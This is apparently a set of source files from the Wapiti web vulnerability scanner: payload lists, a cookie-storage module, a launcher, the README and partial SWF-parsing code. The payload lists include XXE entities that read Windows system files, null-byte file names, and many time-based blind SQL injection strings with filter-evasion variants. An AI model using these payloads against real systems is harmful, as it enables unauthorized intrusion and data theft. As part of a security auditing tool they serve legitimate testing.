<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo[<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:/windows/win.ini>]><foo>&xxe;</foo>
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo[<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:/boot.ini>]><foo>&xxe;</foo>
|
||||
.depdb
|
||||
.depdb\0
|
||||
pearcmd.php
|
||||
pearcmd.php\0
|
||||
[FILE_NAME]
|
||||
[FILE_NAME]\0
|
|
@ -0,0 +1,218 @@
|
|||
sleep([TIME])#1
|
||||
sleep([TIME])#[LF]1
|
||||
[VALUE],sleep([TIME])#1
|
||||
[VALUE]`,sleep([TIME])#1
|
||||
1 or sleep([TIME])#1
|
||||
1 or sleep([TIME])#[LF]1
|
||||
" or sleep([TIME])#1
|
||||
" or sleep([TIME])#[LF]1
|
||||
' or sleep([TIME])#1
|
||||
' or sleep([TIME])#[LF]1
|
||||
" or sleep([TIME])="
|
||||
' or sleep([TIME])='
|
||||
1) or sleep([TIME])#1
|
||||
1) or sleep([TIME])#[LF]1
|
||||
") or sleep([TIME])="
|
||||
') or sleep([TIME])='
|
||||
1)) or sleep([TIME])#1
|
||||
1)) or sleep([TIME])#[LF]1
|
||||
")) or sleep([TIME])="
|
||||
')) or sleep([TIME])='
|
||||
1 and sleep([TIME])#1
|
||||
1 and sleep([TIME])#[LF]1
|
||||
" and sleep([TIME])#1
|
||||
" and sleep([TIME])#[LF]1
|
||||
' and sleep([TIME])#1
|
||||
' and sleep([TIME])#[LF]1
|
||||
" and sleep([TIME])="
|
||||
' and sleep([TIME])='
|
||||
1) and sleep([TIME])#1
|
||||
1) and sleep([TIME])#[LF]1
|
||||
") and sleep([TIME])="
|
||||
') and sleep([TIME])='
|
||||
1)) and sleep([TIME])#1
|
||||
1)) and sleep([TIME])#[LF]1
|
||||
")) and sleep([TIME])="
|
||||
')) and sleep([TIME])='
|
||||
;waitfor delay '0:0:[TIME]'--1
|
||||
[VALUE];waitfor delay '0:0:[TIME]'--1
|
||||
[VALUE] waitfor delay '0:0:[TIME]'--1
|
||||
;waitfor delay '0:0:[TIME]'--[LF]1
|
||||
);waitfor delay '0:0:[TIME]'--1
|
||||
[VALUE]);waitfor delay '0:0:[TIME]'--1
|
||||
);waitfor delay '0:0:[TIME]'--[LF]1
|
||||
';waitfor delay '0:0:[TIME]'--1
|
||||
';waitfor delay '0:0:[TIME]'--[LF]1
|
||||
";waitfor delay '0:0:[TIME]'--1
|
||||
";waitfor delay '0:0:[TIME]'--[LF]1
|
||||
');waitfor delay '0:0:[TIME]'--1
|
||||
');waitfor delay '0:0:[TIME]'--[LF]1
|
||||
");waitfor delay '0:0:[TIME]'--1
|
||||
");waitfor delay '0:0:[TIME]'--[LF]1
|
||||
));waitfor delay '0:0:[TIME]'--1
|
||||
[VALUE]));waitfor delay '0:0:[TIME]'--1
|
||||
));waitfor delay '0:0:[TIME]'--[LF]1
|
||||
'));waitfor delay '0:0:[TIME]'--1
|
||||
'));waitfor delay '0:0:[TIME]'--[LF]1
|
||||
"));waitfor delay '0:0:[TIME]'--1
|
||||
"));waitfor delay '0:0:[TIME]'--[LF]1
|
||||
benchmark(10000000,MD5(1))#1
|
||||
1 or benchmark(10000000,MD5(1))#1
|
||||
" or benchmark(10000000,MD5(1))#1
|
||||
' or benchmark(10000000,MD5(1))#1
|
||||
1) or benchmark(10000000,MD5(1))#1
|
||||
") or benchmark(10000000,MD5(1))#1
|
||||
') or benchmark(10000000,MD5(1))#1
|
||||
1)) or benchmark(10000000,MD5(1))#1
|
||||
")) or benchmark(10000000,MD5(1))#1
|
||||
')) or benchmark(10000000,MD5(1))#1
|
||||
pg_sleep([TIME])--1
|
||||
pg_sleep([TIME])--[LF]1
|
||||
1 or pg_sleep([TIME])--1
|
||||
1 or pg_sleep([TIME])--[LF]1
|
||||
" or pg_sleep([TIME])--1
|
||||
" or pg_sleep([TIME])--[LF]1
|
||||
' or pg_sleep([TIME])--1
|
||||
' or pg_sleep([TIME])--[LF]1
|
||||
1) or pg_sleep([TIME])--1
|
||||
1) or pg_sleep([TIME])--[LF]1
|
||||
") or pg_sleep([TIME])--1
|
||||
") or pg_sleep([TIME])--[LF]1
|
||||
') or pg_sleep([TIME])--1
|
||||
') or pg_sleep([TIME])--[LF]1
|
||||
1)) or pg_sleep([TIME])--1
|
||||
")) or pg_sleep([TIME])--1
|
||||
')) or pg_sleep([TIME])--1
|
||||
1 and pg_sleep([TIME])--1
|
||||
" and pg_sleep([TIME])--1
|
||||
' and pg_sleep([TIME])--1
|
||||
1) and pg_sleep([TIME])--1
|
||||
") and pg_sleep([TIME])--1
|
||||
') and pg_sleep([TIME])--1
|
||||
1)) and pg_sleep([TIME])--1
|
||||
")) and pg_sleep([TIME])--1
|
||||
')) and pg_sleep([TIME])--1
|
||||
1[TAB]or[TAB]sleep([TIME])#1
|
||||
"[TAB]or[TAB]sleep([TIME])#1
|
||||
'[TAB]or[TAB]sleep([TIME])#1
|
||||
"[TAB]or[TAB]sleep([TIME])="
|
||||
'[TAB]or[TAB]sleep([TIME])='
|
||||
1)[TAB]or[TAB]sleep([TIME])#1
|
||||
")[TAB]or[TAB]sleep([TIME])="
|
||||
')[TAB]or[TAB]sleep([TIME])='
|
||||
1))[TAB]or[TAB]sleep([TIME])#1
|
||||
"))[TAB]or[TAB]sleep([TIME])="
|
||||
'))[TAB]or[TAB]sleep([TIME])='
|
||||
1[TAB]and[TAB]sleep([TIME])#1
|
||||
"[TAB]and[TAB]sleep([TIME])#1
|
||||
'[TAB]and[TAB]sleep([TIME])#1
|
||||
"[TAB]and[TAB]sleep([TIME])="
|
||||
'[TAB]and[TAB]sleep([TIME])='
|
||||
1)[TAB]and[TAB]sleep([TIME])#1
|
||||
")[TAB]and[TAB]sleep([TIME])="
|
||||
')[TAB]and[TAB]sleep([TIME])='
|
||||
1))[TAB]and[TAB]sleep([TIME])#1
|
||||
"))[TAB]and[TAB]sleep([TIME])="
|
||||
'))[TAB]and[TAB]sleep([TIME])='
|
||||
;waitfor[TAB]delay[TAB]'0:0:[TIME]'--1
|
||||
);waitfor[TAB]delay[TAB]'0:0:[TIME]'--1
|
||||
';waitfor[TAB]delay[TAB]'0:0:[TIME]'--1
|
||||
";waitfor[TAB]delay[TAB]'0:0:[TIME]'--1
|
||||
');waitfor[TAB]delay[TAB]'0:0:[TIME]'--1
|
||||
");waitfor[TAB]delay[TAB]'0:0:[TIME]'--1
|
||||
));waitfor[TAB]delay[TAB]'0:0:[TIME]'--1
|
||||
'));waitfor[TAB]delay[TAB]'0:0:[TIME]'--1
|
||||
"));waitfor[TAB]delay[TAB]'0:0:[TIME]'--1
|
||||
1[TAB]or[TAB]benchmark(10000000,MD5(1))#1
|
||||
"[TAB]or[TAB]benchmark(10000000,MD5(1))#1
|
||||
'[TAB]or[TAB]benchmark(10000000,MD5(1))#1
|
||||
1)[TAB]or[TAB]benchmark(10000000,MD5(1))#1
|
||||
")[TAB]or[TAB]benchmark(10000000,MD5(1))#1
|
||||
')[TAB]or[TAB]benchmark(10000000,MD5(1))#1
|
||||
1))[TAB]or[TAB]benchmark(10000000,MD5(1))#1
|
||||
"))[TAB]or[TAB]benchmark(10000000,MD5(1))#1
|
||||
'))[TAB]or[TAB]benchmark(10000000,MD5(1))#1
|
||||
1[TAB]or[TAB]pg_sleep([TIME])--1
|
||||
"[TAB]or[TAB]pg_sleep([TIME])--1
|
||||
'[TAB]or[TAB]pg_sleep([TIME])--1
|
||||
1)[TAB]or[TAB]pg_sleep([TIME])--1
|
||||
")[TAB]or[TAB]pg_sleep([TIME])--1
|
||||
')[TAB]or[TAB]pg_sleep([TIME])--1
|
||||
1))[TAB]or[TAB]pg_sleep([TIME])--1
|
||||
"))[TAB]or[TAB]pg_sleep([TIME])--1
|
||||
'))[TAB]or[TAB]pg_sleep([TIME])--1
|
||||
1[TAB]and[TAB]pg_sleep([TIME])--1
|
||||
"[TAB]and[TAB]pg_sleep([TIME])--1
|
||||
'[TAB]and[TAB]pg_sleep([TIME])--1
|
||||
1)[TAB]and[TAB]pg_sleep([TIME])--1
|
||||
")[TAB]and[TAB]pg_sleep([TIME])--1
|
||||
')[TAB]and[TAB]pg_sleep([TIME])--1
|
||||
1))[TAB]and[TAB]pg_sleep([TIME])--1
|
||||
"))[TAB]and[TAB]pg_sleep([TIME])--1
|
||||
'))[TAB]and[TAB]pg_sleep([TIME])--1
|
||||
1/**/or/**/sleep([TIME])#1
|
||||
"/**/or/**/sleep([TIME])#1
|
||||
'/**/or/**/sleep([TIME])#1
|
||||
"/**/or/**/sleep([TIME])="
|
||||
'/**/or/**/sleep([TIME])='
|
||||
1)/**/or/**/sleep([TIME])#1
|
||||
")/**/or/**/sleep([TIME])="
|
||||
')/**/or/**/sleep([TIME])='
|
||||
1))/**/or/**/sleep([TIME])#1
|
||||
"))/**/or/**/sleep([TIME])="
|
||||
'))/**/or/**/sleep([TIME])='
|
||||
1/**/and/**/sleep([TIME])#1
|
||||
"/**/and/**/sleep([TIME])#1
|
||||
'/**/and/**/sleep([TIME])#1
|
||||
"/**/and/**/sleep([TIME])="
|
||||
'/**/and/**/sleep([TIME])='
|
||||
1)/**/and/**/sleep([TIME])#1
|
||||
")/**/and/**/sleep([TIME])="
|
||||
')/**/and/**/sleep([TIME])='
|
||||
1))/**/and/**/sleep([TIME])#1
|
||||
"))/**/and/**/sleep([TIME])="
|
||||
'))/**/and/**/sleep([TIME])='
|
||||
;waitfor/**/delay/**/'0:0:[TIME]'--1
|
||||
);waitfor/**/delay/**/'0:0:[TIME]'--1
|
||||
';waitfor/**/delay/**/'0:0:[TIME]'--1
|
||||
";waitfor/**/delay/**/'0:0:[TIME]'--1
|
||||
');waitfor/**/delay/**/'0:0:[TIME]'--1
|
||||
");waitfor/**/delay/**/'0:0:[TIME]'--1
|
||||
));waitfor/**/delay/**/'0:0:[TIME]'--1
|
||||
'));waitfor/**/delay/**/'0:0:[TIME]'--1
|
||||
"));waitfor/**/delay/**/'0:0:[TIME]'--1
|
||||
1/**/or/**/benchmark(10000000,MD5(1))#1
|
||||
"/**/or/**/benchmark(10000000,MD5(1))#1
|
||||
'/**/or/**/benchmark(10000000,MD5(1))#1
|
||||
1)/**/or/**/benchmark(10000000,MD5(1))#1
|
||||
")/**/or/**/benchmark(10000000,MD5(1))#1
|
||||
')/**/or/**/benchmark(10000000,MD5(1))#1
|
||||
1))/**/or/**/benchmark(10000000,MD5(1))#1
|
||||
"))/**/or/**/benchmark(10000000,MD5(1))#1
|
||||
'))/**/or/**/benchmark(10000000,MD5(1))#1
|
||||
1/**/or/**/pg_sleep([TIME])--1
|
||||
"/**/or/**/pg_sleep([TIME])--1
|
||||
'/**/or/**/pg_sleep([TIME])--1
|
||||
1)/**/or/**/pg_sleep([TIME])--1
|
||||
")/**/or/**/pg_sleep([TIME])--1
|
||||
')/**/or/**/pg_sleep([TIME])--1
|
||||
1))/**/or/**/pg_sleep([TIME])--1
|
||||
"))/**/or/**/pg_sleep([TIME])--1
|
||||
'))/**/or/**/pg_sleep([TIME])--1
|
||||
1/**/and/**/pg_sleep([TIME])--1
|
||||
"/**/and/**/pg_sleep([TIME])--1
|
||||
'/**/and/**/pg_sleep([TIME])--1
|
||||
1)/**/and/**/pg_sleep([TIME])--1
|
||||
")/**/and/**/pg_sleep([TIME])--1
|
||||
')/**/and/**/pg_sleep([TIME])--1
|
||||
1))/**/and/**/pg_sleep([TIME])--1
|
||||
"))/**/and/**/pg_sleep([TIME])--1
|
||||
'))/**/and/**/pg_sleep([TIME])--1
|
||||
' and (SELECT * FROM [ODBC;DRIVER=SQL SERVER;Server=1.1.1.1;DATABASE=w].a.p)\0
|
||||
" and (SELECT * FROM [ODBC;DRIVER=SQL SERVER;Server=1.1.1.1;DATABASE=w].a.p)\0
|
||||
') and (SELECT * FROM [ODBC;DRIVER=SQL SERVER;Server=1.1.1.1;DATABASE=w].a.p)\0
|
||||
") and (SELECT * FROM [ODBC;DRIVER=SQL SERVER;Server=1.1.1.1;DATABASE=w].a.p)\0
|
||||
')) and (SELECT * FROM [ODBC;DRIVER=SQL SERVER;Server=1.1.1.1;DATABASE=w].a.p)\0
|
||||
")) and (SELECT * FROM [ODBC;DRIVER=SQL SERVER;Server=1.1.1.1;DATABASE=w].a.p)\0
|
||||
';d=new Date();do{cd=new Date();}while(cd-d<10000);//
|
||||
";d=new Date();do{cd=new Date();}while(cd-d<10000);//
|
|
@ -0,0 +1 @@
|
|||
Wapiti 3.0.1
|
|
@ -0,0 +1,191 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2012-2018 Nicolas Surribas
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
import json
|
||||
import re
|
||||
from http.cookiejar import Cookie, CookieJar
|
||||
|
||||
from requests.cookies import RequestsCookieJar
|
||||
|
||||
# Regex to check whether the domain returned by CookieJar is an IP address
|
||||
# IPv6 addresses seems to have a ".local" suffix.
|
||||
IP_REGEX = re.compile(r"^(?P<ip>(\d+\.\d+\.\d+.\d+)|(\[([\da-f:]+)\])(\.local)?)(?P<port>:\d+)?$")
|
||||
|
||||
|
||||
class JsonCookie:
|
||||
"""This class allows to store (and load) cookies in a JSON formatted file."""
|
||||
|
||||
def __init__(self):
|
||||
self.cookiedict = None
|
||||
self.fd = None
|
||||
|
||||
# return a dictionary on success, None on failure
|
||||
def open(self, filename):
|
||||
if not filename:
|
||||
return None
|
||||
try:
|
||||
self.fd = open(filename, "r+")
|
||||
self.cookiedict = json.load(self.fd)
|
||||
except (IOError, ValueError):
|
||||
self.fd = open(filename, "w+")
|
||||
self.cookiedict = {}
|
||||
return self.cookiedict
|
||||
|
||||
def addcookies(self, cookies):
|
||||
"""Inject Cookies from a CookieJar into our JSON dictionary."""
|
||||
if not isinstance(cookies, RequestsCookieJar):
|
||||
return False
|
||||
|
||||
for domain, pathdict in cookies._cookies.items():
|
||||
search_ip = IP_REGEX.match(domain)
|
||||
if search_ip:
|
||||
# Match either an IPv4 address or an IPv6 address with a local suffix
|
||||
domain_key = search_ip.group("ip")
|
||||
else:
|
||||
domain_key = domain if domain[0] == '.' else '.' + domain
|
||||
|
||||
if domain_key not in self.cookiedict.keys():
|
||||
self.cookiedict[domain_key] = {}
|
||||
|
||||
for path, keydict in pathdict.items():
|
||||
if path not in self.cookiedict[domain_key].keys():
|
||||
self.cookiedict[domain_key][path] = {}
|
||||
|
||||
for key, cookieobj in keydict.items():
|
||||
if isinstance(cookieobj, Cookie):
|
||||
print(cookieobj)
|
||||
cookie_attrs = {
|
||||
"value": cookieobj.value,
|
||||
"expires": cookieobj.expires,
|
||||
"secure": cookieobj.secure,
|
||||
"port": cookieobj.port,
|
||||
"version": cookieobj.version
|
||||
}
|
||||
self.cookiedict[domain_key][path][key] = cookie_attrs
|
||||
|
||||
def cookiejar(self, domain):
|
||||
"""Returns a cookielib.CookieJar object containing cookies matching the given domain."""
|
||||
cj = CookieJar()
|
||||
|
||||
if not domain:
|
||||
return cj
|
||||
|
||||
# Domain comes from a urlparse().netloc so we must take care of optional port number
|
||||
search_ip = IP_REGEX.match(domain)
|
||||
if search_ip:
|
||||
# IPv4 (ex: '127.0.0.1') or IPv6 (ex: '[::1]') address.
|
||||
# We must append the '.local' suffix pour IPv6 addresses.
|
||||
domain = search_ip.group("ip")
|
||||
if domain.startswith("[") and not domain.endswith(".local"):
|
||||
domain += ".local"
|
||||
matching_domains = [domain]
|
||||
else:
|
||||
domain = domain.split(":")[0]
|
||||
|
||||
# For hostnames on local network we must add a 'local' tld (needed by cookielib)
|
||||
if '.' not in domain:
|
||||
domain += ".local"
|
||||
|
||||
domain_key = domain if domain[0] == '.' else '.' + domain
|
||||
exploded = domain_key.split(".")
|
||||
parent_domains = [".%s" % (".".join(exploded[x:])) for x in range(1, len(exploded) - 1)]
|
||||
matching_domains = [d for d in parent_domains if d in self.cookiedict]
|
||||
|
||||
if not matching_domains:
|
||||
return cj
|
||||
|
||||
for d in matching_domains:
|
||||
for path in self.cookiedict[d]:
|
||||
for cookie_name, cookie_attrs in self.cookiedict[d][path].items():
|
||||
ck = Cookie(
|
||||
version=cookie_attrs["version"],
|
||||
name=cookie_name,
|
||||
value=cookie_attrs["value"],
|
||||
port=None,
|
||||
port_specified=False,
|
||||
domain=d,
|
||||
domain_specified=True,
|
||||
domain_initial_dot=False,
|
||||
path=path,
|
||||
path_specified=True,
|
||||
secure=cookie_attrs["secure"],
|
||||
expires=cookie_attrs["expires"],
|
||||
discard=True,
|
||||
comment=None,
|
||||
comment_url=None,
|
||||
rest={'HttpOnly': None},
|
||||
rfc2109=False
|
||||
)
|
||||
|
||||
if cookie_attrs["port"]:
|
||||
ck.port = cookie_attrs["port"]
|
||||
ck.port_specified = True
|
||||
|
||||
cj.set_cookie(ck)
|
||||
return cj
|
||||
|
||||
def delete(self, domain, path=None, key=None):
|
||||
if not domain:
|
||||
return False
|
||||
|
||||
search_ip = IP_REGEX.match(domain)
|
||||
if search_ip:
|
||||
# IPv4 (ex: '127.0.0.1') or IPv6 (ex: '[::1]') address
|
||||
# We must append the '.local' suffix pour IPv6 addresses.
|
||||
domain = search_ip.group("ip")
|
||||
if domain.startswith("[") and not domain.endswith(".local"):
|
||||
domain += ".local"
|
||||
else:
|
||||
domain = domain.split(":")[0]
|
||||
# For hostnames on local network we must add a 'local' tld (needed by cookielib)
|
||||
if '.' not in domain:
|
||||
domain += ".local"
|
||||
domain = domain if domain[0] == '.' else '.' + domain
|
||||
|
||||
if domain not in self.cookiedict.keys():
|
||||
return False
|
||||
|
||||
if not path:
|
||||
# delete whole domain data
|
||||
self.cookiedict.pop(domain)
|
||||
return True
|
||||
|
||||
# path asked for deletion... but does not exist
|
||||
if path not in self.cookiedict[domain].keys():
|
||||
return False
|
||||
|
||||
if not key:
|
||||
# remove every data on the specified domain for the matching path
|
||||
self.cookiedict[domain].pop(path)
|
||||
return True
|
||||
|
||||
if key in self.cookiedict[domain][path].keys():
|
||||
self.cookiedict[domain][path].pop(key)
|
||||
return True
|
||||
return False
|
||||
|
||||
def dump(self):
|
||||
if not self.fd:
|
||||
return False
|
||||
self.fd.seek(0)
|
||||
self.fd.truncate()
|
||||
json.dump(self.cookiedict, self.fd, indent=2)
|
||||
return True
|
||||
|
||||
def close(self):
|
||||
self.fd.close()
|
Binary file not shown.
|
@ -0,0 +1,29 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2017-2018 Nicolas Surribas
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
import sys
|
||||
import os
|
||||
|
||||
parent_dir = os.path.abspath(os.path.join(os.path.dirname(os.path.abspath(__file__)), os.pardir))
|
||||
if os.path.exists(os.path.join(parent_dir, "wapitiCore")):
|
||||
sys.path.append(parent_dir)
|
||||
|
||||
from wapitiCore.main.getcookie import getcookie_main
|
||||
|
||||
if __name__ == "__main__":
|
||||
getcookie_main()
|
|
@ -0,0 +1,165 @@
|
|||
WAPITI - VERSION 3.0.1
|
||||
Wapiti is a web application security auditor.
|
||||
http://wapiti.sourceforge.net/
|
||||
|
||||
|
||||
Requirements
|
||||
============
|
||||
In order to work correctly, Wapiti needs :
|
||||
* Python 3.x where x is >= 4 (3.4, 3.5...)
|
||||
* python-requests ( http://docs.python-requests.org/en/latest/ )
|
||||
* BeautifulSoup ( http://www.crummy.com/software/BeautifulSoup/ )
|
||||
* yaswfp (https://github.com/facundobatista/yaswfp)
|
||||
* html5lib
|
||||
|
||||
See INSTALL.md for more details on installation.
|
||||
|
||||
How it works
|
||||
============
|
||||
|
||||
Wapiti works as a "black-box" vulnerability scanner, that means it won't
|
||||
study the source code of web applications but will work like a fuzzer,
|
||||
scanning the pages of the deployed web application, extracting links and
|
||||
forms and attacking the scripts, sending payloads and looking for error
|
||||
messages, special strings or abnormal behaviors.
|
||||
|
||||
|
||||
General features
|
||||
================
|
||||
|
||||
+ Generates vulnerability reports in various formats (HTML, XML, JSON, TXT...).
|
||||
+ Can suspend and resume a scan or an attack (session mechanism using sqlite3 databases).
|
||||
+ Can give you colors in the terminal to highlight vulnerabilities.
|
||||
+ Different levels of verbosity.
|
||||
+ Fast and easy way to activate/deactivate attack modules.
|
||||
+ Adding a payload can be as easy as adding a line to a text file.
|
||||
|
||||
|
||||
Browsing features
|
||||
=================
|
||||
|
||||
+ Support HTTP, HTTPS and SOCKS5 proxies.
|
||||
+ Authentication on the target via several methods : Basic, Digest, Kerberos or NTLM.
|
||||
+ Ability to restrain the scope of the scan (domain, folder, page, url).
|
||||
+ Automatic removal of one or more parameters in URLs.
|
||||
+ Multiple safeguards against scan endless-loops (for example, limit of values for a parameter).
|
||||
+ Possibility to set the first URLs to explore (even if not in scope).
|
||||
+ Can exclude some URLs of the scan and attacks (eg: logout URL).
|
||||
+ Import of cookies (get them with the wapiti-getcookie tool).
|
||||
+ Can activate / deactivate SSL certificates verification.
|
||||
+ Extract URLs from Flash SWF files.
|
||||
+ Try to extract URLs from javascript (very basic JS interpreter).
|
||||
+ HTML5 aware (understand recent HTML tags).
|
||||
+ Several options to control the crawler behavior and limits.
|
||||
+ Skipping some parameter names during attack.
|
||||
+ Setting a maximum time for the scan process.
|
||||
+ Adding some custom HTTP headers or setting a custom User-Agent.
|
||||
|
||||
|
||||
Supported attacks
|
||||
=================
|
||||
|
||||
+ Database Injection (PHP/ASP/JSP SQL Injections and XPath Injections)
|
||||
+ Cross Site Scripting (XSS) reflected and permanent
|
||||
+ File disclosure detection (local and remote include, require, fopen,
|
||||
readfile...)
|
||||
+ Command Execution detection (eval(), system(), passtru()...)
|
||||
+ XXE (Xml eXternal Entity) injection
|
||||
+ CRLF Injection
|
||||
+ Search for potentially dangerous files on the server (thank to the Nikto db)
|
||||
+ Bypass of weak htaccess configurations
|
||||
+ Search for copies (backup) of scripts on the server
|
||||
+ Shellshock
|
||||
+ DirBuster like
|
||||
+ Server Side Request Forgery (through use of an external Wapiti website)
|
||||
|
||||
Wapiti supports both GET and POST HTTP methods for attacks.
|
||||
It also supports multipart and can inject payloads in filenames (upload).
|
||||
Display a warning when an anomaly is found (for example 500 errors and timeouts)
|
||||
Makes the difference beetween permanent and reflected XSS vulnerabilities.
|
||||
|
||||
Module names
|
||||
============
|
||||
|
||||
The aforementioned attacks are tied to the following module names :
|
||||
|
||||
+ backup (Search for copies and scripts)
|
||||
+ blindsql (SQL injection vulnerabilities detected with time-based methodology)
|
||||
+ buster (DirBuster like module)
|
||||
+ crlf (CR-LF injection in HTTP headers)
|
||||
+ delay (Not an attack module, prints the 10 slowest to load webpages of the target)
|
||||
+ exec (Code execution or command injection)
|
||||
+ file (Path traversal, file inclusion and XXE)
|
||||
+ htaccess (Misconfigured htaccess restrictions)
|
||||
+ nikto (Look for known vulnerabilities by testing URL existence and checking responses)
|
||||
+ permanentxss (Rescan the whole target after the xss module execution looking for previously tainted payloads)
|
||||
+ shellshock (Test Shellshock attack, see https://en.wikipedia.org/wiki/Shellshock_%28software_bug%29 )
|
||||
+ sql (Error-based SQL injection detection)
|
||||
+ ssrf (Server Side Request Forgery)
|
||||
+ xss (XSS injection module)
|
||||
|
||||
Module names can be given as comma separated list using the "-m" or "--module" option.
|
||||
|
||||
|
||||
How to get the best results
|
||||
===========================
|
||||
|
||||
To find more vulnerabilities (as some attacks are error-based), you can modify
|
||||
your webserver configurations.
|
||||
|
||||
For example, you can set the following values in your PHP configuration :
|
||||
```
|
||||
safe_mode = Off
|
||||
display_errors = On (recommended)
|
||||
magic_quotes_gpc = Off
|
||||
allow_url_fopen = On
|
||||
mysql.trace_mode = On
|
||||
```
|
||||
|
||||
Where to get help
|
||||
=================
|
||||
|
||||
In the prompt, just type the following command to get the basic usage :
|
||||
|
||||
```wapiti -h```
|
||||
|
||||
You can also take a look at the manpage (wapiti.1 or wapiti.1.html) for more details on each option.
|
||||
|
||||
If you find a bug, fill a ticket on the bugtracker :
|
||||
https://sourceforge.net/p/wapiti/bugs/
|
||||
|
||||
The official wiki can be helpful too :
|
||||
https://sourceforge.net/p/wapiti/wiki/browse_pages/
|
||||
|
||||
|
||||
How to help the Wapiti project
|
||||
==============================
|
||||
|
||||
You can :
|
||||
+ Support the project by making a donation ( http://sf.net/donate/index.php?group_id=168625 )
|
||||
+ Create or improve attack modules
|
||||
+ Create or improve report generators
|
||||
+ Work on the JS interpreter (lamejs)
|
||||
+ Send bugfixes, patches...
|
||||
+ Write some GUIs
|
||||
+ Create some tools to convert cookies from browsers to Wapiti JSON format
|
||||
+ Create a tool to convert PCAP files to Wapiti sqlite3 session files
|
||||
+ Translate Wapiti in your language ( https://www.transifex.com/none-538/wapiti/ )
|
||||
+ Talk about Wapiti around you
|
||||
|
||||
|
||||
What is included with Wapiti
|
||||
============================
|
||||
|
||||
Wapiti comes with :
|
||||
+ a modified version of PyNarcissus (MPL 1.1 License),
|
||||
see https://github.com/jtolds/pynarcissus
|
||||
+ Kube CSS framework ( see http://imperavi.com/kube/ ) and jQuery
|
||||
for HTML report generation.
|
||||
|
||||
Licensing
|
||||
=========
|
||||
|
||||
Wapiti is released under the GNU General Public License version 2 (the GPL).
|
||||
Source code is available on SourceForge :
|
||||
https://sourceforge.net/projects/wapiti/
|
|
@ -0,0 +1,206 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
#
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2017-2018 Nicolas Surribas
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
import struct
|
||||
|
||||
from yaswfp import swfparser
|
||||
from bs4 import BeautifulSoup
|
||||
|
||||
from wapitiCore import parser_name
|
||||
|
||||
|
||||
def looks_like_an_url(string):
|
||||
string = string.strip()
|
||||
if len(string) < 3:
|
||||
return False
|
||||
if " " in string or "\t" in string or "\n" in string or "\\" in string:
|
||||
return False
|
||||
if string.startswith(("http://adobe.com/", "http://www.adobe.com/", ":", "com.", "org.")):
|
||||
return False
|
||||
if string in {"../", "./"}:
|
||||
return False
|
||||
if string.startswith(("../", "./")):
|
||||
return True
|
||||
if string.startswith(("http://", "https://")):
|
||||
if len(string) > 12:
|
||||
return True
|
||||
return False
|
||||
if ":" in string:
|
||||
return False
|
||||
if string.startswith("/") or string.endswith("/"):
|
||||
return True
|
||||
for ext in {
|
||||
".php", ".asp", ".php4", ".php5", ".html", ".xhtml", ".htm", ".swf", ".xml", ".pl", ".cgi", ".rb", ".py", ".js",
|
||||
".pdf", ".gif", ".png", ".jpg", ".svg", ".jpeg", ".mp3", ".wav", ".aspx"
|
||||
}:
|
||||
if ext in string and not string.startswith(ext) and "(" not in string:
|
||||
return True
|
||||
if "?" in string and "=" in string:
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
def read_u30(data):
|
||||
i = 0
|
||||
nb = 0
|
||||
byte_pos = 0
|
||||
while True:
|
||||
x = data[i]
|
||||
bits = x & 127
|
||||
i += 1
|
||||
nb += bits << byte_pos
|
||||
byte_pos += 7
|
||||
if not x & 128:
|
||||
break
|
||||
return nb, i
|
||||
|
||||
|
||||
def new_read_u30(stream):
|
||||
nb = 0
|
||||
byte_pos = 0
|
||||
while True:
|
||||
x = stream.read(1)[0]
|
||||
bits = x & 127
|
||||
nb += bits << byte_pos
|
||||
byte_pos += 7
|
||||
if not x & 128:
|
||||
break
|
||||
return nb
|
||||
|
||||
|
||||
def read_abc(data):
|
||||
name_len = data.find(b'\0')
|
||||
minor, major = struct.unpack("HH", data[name_len + 1: name_len + 5])
|
||||
|
||||
i = name_len + 5
|
||||
nb, x = read_u30(data[i:])
|
||||
i += x
|
||||
